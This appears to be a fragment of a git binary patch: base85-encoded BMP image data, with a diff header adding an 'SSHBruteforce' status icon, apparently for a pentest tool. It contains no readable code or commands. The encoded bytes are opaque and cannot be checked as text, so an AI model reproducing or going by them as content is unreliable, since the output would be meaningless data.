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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce11.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce11.bmp new file mode 100644 index 0000000000000000000000000000000000000000..474c3150ad0364f8a6df95ea22514c07dd0718ce GIT binary patch literal 18462 zcmd^`1zcQ7y6ETruI=63x4Sd5laaU(A$SPEJ-AEbP6JKj4vnZ`^-o&B8_fCJxePCUH4+`lAFZf=gh6|P@Sa&z-=bMt*5XFtJ_n;TU7 zyM{p3FNv3rkDHH==Qs5BtFI{k-=u#GE15zeQ^<#u!|jvZ<>SrS!?p3lm7#;T{rgMZ zhf5s?i|zYB7FrJ$TJ{&3_vV4L?9EY+`}3`P3vK(0Z3l~;`%At1%YBEdLx<}VM_aE> z_TG|@wkhNzs&cCQ)^t%;^2y=R-s=AP)ZTpC)^x?jNbbg9>PCO!W`E4iK+Nu7^k!eg zYBzDcCt{;FVx1I8mENd#(i64*fvi!>Bi4I}Yh4j*J)p^{fReu0jsB#Kq4bThg01Q5 z-Gz?5^_io+bu#(*V$>I6J=~nzo-SV>OkVAc1SmU$v4>;H$5UwsV<~F`3DZqsV=n@h zdt#0z(|1OawuTbd`{OqU5;lPJpGsfC#^1_%U;Oq^((Z5)sIX3o+vtni=%*exK?eNn zjX52p$o0PH^`X@5ndgT)Z!UoQ<*el6gUzwLt$yOcSkl2{+S*XkNKJ5A9D?X(h|*VZ 